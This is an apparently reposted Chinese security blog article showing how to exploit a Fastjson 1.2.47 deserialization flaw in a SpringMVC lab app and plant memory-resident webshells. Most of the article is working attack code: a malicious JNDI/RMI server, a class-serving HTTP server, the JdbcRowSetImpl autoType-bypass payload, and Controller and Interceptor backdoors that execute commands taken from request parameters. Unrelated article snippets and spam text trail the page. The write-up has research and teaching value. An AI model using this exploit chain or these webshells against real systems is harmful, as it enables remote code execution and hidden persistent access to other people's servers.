<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    SpringMVC配合Fastjson的內存馬利用與分析

    VSole2021-08-03 17:02:02

    SpringMVC

    Spring MVC是一種基于Java的實現了Web MVC設計模式的請求驅動類型的輕量級Web框架,即使用了MVC架構模式的思想,將web層進行職責解耦,基于請求驅動指的就是使用請求-響應模型,框架的目的就是幫助我們簡化開發,Spring Web MVC也是要簡化我們日常Web開發的

    總而言之,SpringMVC框架使用范圍極廣。筆者大二曾參與多個實際上線Java項目的開發,他們的框架都包含了SpringMVC

    下面做一個基本的功能演示:

    @Controllerpublic class TestController {    @RequestMapping("/test")    @ResponseBody    public String test(){        return "
    hello world
    ";    }}
    

    以上代碼實現了用戶訪問localhost:8080/test后返回html代碼

    hello world

    搭建環境

    筆者為了方便搭建環境,采用了SpringBoot,JDK為8u131,使用Fastjson創造反序列化利用點

    <dependencies>        <dependency>            <groupId>com.alibabagroupId>            <artifactId>fastjsonartifactId>            <version>1.2.47version>        dependency>        <dependency>            <groupId>org.springframework.bootgroupId>            <artifactId>spring-boot-starter-webartifactId>        dependency>        <dependency>            <groupId>org.springframework.bootgroupId>            <artifactId>spring-boot-starter-testartifactId>            <scope>testscope>        dependency>    dependencies>
    

    創造一個反序列化利用點

    // 使用fastjson 1.2.47模擬利用點import com.alibaba.fastjson.JSON;
    @Controllerpublic class TestController {    @RequestMapping("/deserialize")    @ResponseBody    public String deserialize(@RequestParam String code) throws Exception{        // 本地JDK版本過高,為了方便,直接設置系統變量以成功利用JNDI注入        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");        JSON.parse(code);        return "deserialize";    }}
    

    漏洞利用

    首先嘗試彈出計算器,確保利用成功后再嘗試內存馬

    攻擊者啟動JNDI Server

    public class JNDIServer {    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {        Registry registry = LocateRegistry.createRegistry(1099);        Reference reference = new Reference("badClassName",                "com.test.shell.badClassName","http://127.0.0.1:8000/");        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);        registry.bind("Exploit", referenceWrapper);    }}
    

    其中的badClassName代碼如下,在靜態代碼塊中執行計算器命令

    package com.test.shell;
    public class badClassName {    static {        try {            Runtime.getRuntime().exec("calc");        } catch (Exception e) {            e.printStackTrace();        }    }}
    

    Reference的factoryLocation為class文件的http服務器,筆者使用Golang做了簡單的路徑映射

    注意:不能直接映射到badClassName當前路徑,而是classes路徑

    func main() {    mux := http.NewServeMux()    path := "YourPath\\Fastjson\\target\\classes"    mux.Handle("/", http.StripPrefix("/", http.FileServer(http.Dir(path))))    if err := http.ListenAndServe(":8000", mux); err != nil {        fmt.Println("ok")    }}
    

    圖片是訪問/com/test/shell后的效果

    使用Golang發送Fastjson的JdbcRowSetImpl類型的Payload

    func main() {    clint := &http.Client{}    payload := "{" +        "    \"a\":{" +        "        \"@type\":\"java.lang.Class\"," +        "        \"val\":\"com.sun.rowset.JdbcRowSetImpl\"" +        "    }," +        "    \"b\":{" +        "        \"@type\":\"com.sun.rowset.JdbcRowSetImpl\"," +        "        \"dataSourceName\":\"rmi://127.0.0.1:1099/Exploit\"," +        "        \"autoCommit\":true" +        "    }" +        "}"    // 防止出現意外問題,對Payload進行URL編碼    resp, err := clint.Get("http://127.0.0.1:8080/deserialize?code=" + url.QueryEscape(payload))    if err != nil {        fmt.Println(err)    }    fmt.Println(resp.StatusCode)}
    

    當我們發送后發現成功彈出計算器

    既然分析到此處,順便來看一下1.2.47版本繞過和JdbcRowSetImpl的原理,使用a和b兩個對象,為了將a設置到緩存mapping中在第二個對象加載時繞過哈希黑名單和關閉動態類型機制。JdbcRowSetImpl對象我們設置其autoCommit屬性為true是因為在setAutoCommit方法中有如下代碼

    public void setAutoCommit(boolean var1) throws SQLException {    if (this.conn != null) {        this.conn.setAutoCommit(var1);    } else {        this.conn = this.connect();        this.conn.setAutoCommit(var1);    }}
    

    由于沒有設置this.conn代碼會進入this.connect,其中包含了 lookup(this.getDataSourceName())的代碼。這里的dataSourceName正是傳入的值,在這里被當作參數傳入lookup函數,然后前往JNDI Server使用對應的協議尋找,由于JDNI綁定Reference,這里會加載到本地,實例化

    private Connection connect() throws SQLException {    if (this.conn != null) {        return this.conn;    } else if (this.getDataSourceName() != null) {        try {            InitialContext var1 = new InitialContext();            DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());            ......
    

    內存馬

    上文已經成功彈出計算器了,說明筆者創造的漏洞點生效,下面將介紹內存馬

    該內存馬代碼參考網上大佬的博客,做了一些修改,本文后續正是采用此方法(將在后文給出大佬博客鏈接)

    package com.test.shell;
    import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
    import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.lang.reflect.InvocationTargetException;import java.lang.reflect.Method;
    public class InjectToController {    public InjectToController() throws ClassNotFoundException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, InvocationTargetException {        // 關于獲取Context的方式有多種        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.                currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);        Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");        method.setAccessible(true);        // 通過反射獲得該類的test方法        Method method2 = InjectToController.class.getMethod("test");        // 定義該controller的path        PatternsRequestCondition url = new PatternsRequestCondition("/good");        // 定義允許訪問的HTTP方法        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();        // 構造注冊信息        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);        // 創建用于處理請求的對象,避免無限循環使用另一個構造方法        InjectToController injectToController = new InjectToController("aaa");        // 將該controller注冊到Spring容器        mappingHandlerMapping.registerMapping(info, injectToController, method2);    }
        // 第二個構造函數    public InjectToController(String aaa) {    }
        public void test() throws IOException {        // 獲取請求        HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();        // 獲取請求的參數cmd并執行        // 類似于PHP的eval($_GET["cmd"])        Runtime.getRuntime().exec(request.getParameter("cmd"));    }}
    

    注意網上給出的這部分代碼在高版本SpringMVC中無效,并且找不到合適的替代。這部分代碼的目的是防止注冊重復path,這種問題其實不需要這種復雜處理,對上文中/good部分的path替換為/Go0D等組合即可,因為正常的業務代碼不可能定義這類特殊的path

    Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping$MappingRegistry").getDeclaredField("urlLookup");
    

    這是Controller形的內存馬,同時存在Interceptor型的內存馬。Interceptor名為攔截器,類似Filter,常用于處理權限問題,有興趣的師傅可以嘗試

    public class TestInterceptor extends HandlerInterceptorAdapter {    public TestInterceptor() throws NoSuchFieldException, IllegalAccessException, InstantiationException {        // 獲取context        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);        // 從context中獲取AbstractHandlerMapping的實例對象        org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");        // 反射獲取adaptedInterceptors屬性        java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");        field.setAccessible(true);        java.util.ArrayList adaptedInterceptors = (java.util.ArrayList) field.get(abstractHandlerMapping);        // 避免重復添加        for (int i = adaptedInterceptors.size() - 1; i > 0; i--) {            if (adaptedInterceptors.get(i) instanceof TestInterceptor) {                System.out.println("已經添加過TestInterceptor實例了");                return;            }        }        TestInterceptor aaa = new TestInterceptor("aaa");  // 避免進入實例創建的死循環        adaptedInterceptors.add(aaa);  //  添加全局interceptor    }
        private TestInterceptor(String aaa) {    }
        @Override    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {        String code = request.getParameter("code");        // 不干擾正常業務邏輯        if (code != null) {            java.lang.Runtime.getRuntime().exec(code);            return true;        } else {            return true;        }    }}
    注意其中的這部分代碼在高版本SpringMVC中會遇到錯誤,導致無法注冊Interceptor。由于時間關系,筆者并未嘗試尋找替代類,有興趣的師傅可以尋找合適的高版本利用方式
    
    context.getBean("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping");
    提供landgrey師傅文章中獲取context的幾種方式,測試高版本SpringMVC可用的如下
    
    WebApplicationContext context = WebApplicationContextUtils.getWebApplicationContext(RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest()).getServletContext());
    WebApplicationContext context = RequestContextUtils.getWebApplicationContext(((ServletRequestAttributes)RequestContextHolder.currentRequestAttributes()).getRequest());
    // 本文的方式WebApplicationContext context = (WebApplicationContext)RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
    說了這么多,還沒進行內存馬的利用,改下JNDI Server
    
    public class JNDIServer {    public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {        Registry registry = LocateRegistry.createRegistry(1099);        Reference reference = new Reference("InjectToController",                "com.test.shell.InjectToController", "http://127.0.0.1:8000/");        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);        registry.bind("Exploit", referenceWrapper);    }}
    訪問localhost:8080/good?cmd=calc,成功生成內存馬
    
     
    


    寫在后面
    關于本文有幾處思考:
    1.目前的內存馬是無回顯的,可以修改代碼實現回顯
    2.筆者模擬的利用點是Fastjson反序列化,是否有其他方式(思路:SPEL型RCE,SSTI…)
    3.既然Spring可以,那Struts2/Tomcat,甚至國產框架JFinal等框架是否也可以有類似的思路
     
    


    參考鏈接
    https://landgrey.me/blog/12/
    https://landgrey.me/blog/19/
    https://xz.aliyun.com/t/9344
    https://www.cnblogs.com/bitterz/p/14859766.html
    https://www.cnblogs.com/bitterz/p/14820898.html
    
    fastjsoncontext
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    fastjson反序列化已經是近幾年繼Struts2漏洞后,最受安全人員歡迎而開發人員抱怨的一個漏洞了。
    Fastjson 是一個 Java 庫,可以將 Java 對象轉換為 JSON 格式,當然它也可以將 JSON 字符串轉換為 Java 對象。Fastjson 可以操作任何 Java 對象,即使是一些預先存在的沒有源碼的對象。 在進行fastjson的漏洞復現學習之前需要了解幾個概念,如下:
    筆者繼續帶大家炒Fastjson的冷飯。關于漏洞分析和利用鏈分析文章網上已有大量,但是關于如何自動化檢測的文章還是比較少見的,尤其是如何不使用Java對Fastjson做檢測。
    Spring MVC是一種基于Java的實現了Web MVC設計模式的請求驅動類型的輕量級Web框架,即使用了MVC架構模式的思想,將web層進行職責解耦,基于請求驅動指的就是使用請求-響應模型,框架的目的就是幫助我們簡化開發,Spring Web MVC也是要簡化我們日常Web開發的
    fastjson.jar是阿里開發的一款專門用于Java開發的包,可以方便的實現json對象與JavaBean對象的轉換,實現JavaBean對象與json字符串的轉換,實現json對象與json字符串的轉換。除了這個fastjson以外,還有Google開發的Gson包,其他形式的如net.sf.json包,都可以實現json的轉換。方法名稱不同而已,最后的實現結果都是一樣的。
    fastjson的漏洞主要都是因為AutoType造成的,后續的修復和其他版本的繞過都圍繞此來進行。
    目前的Log4j2檢測都需要借助dnslog平臺,是否存在不借助dnslog的檢測方式呢
    目前,多數項目會有多數據源的要求,或者是主從部署的要求,所以我們還需要引入mybatis-plus關于多數據源的依賴:。#設置默認的數據源或者數據源組,默認值即為master. true未匹配到指定數據源時拋異常,false使用默認數據源。表名注解,用于標識實體類對應的表。其說明如下,關于這些書寫,常規情況基本很少用到,不做多余解釋了:@Documented
    部分getshell漏洞匯總
    2022-07-20 10:12:45
    即可未授權訪問console后臺,但是權限比較低備注:此處會出現個問題,在復現的環境中直接拼接
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类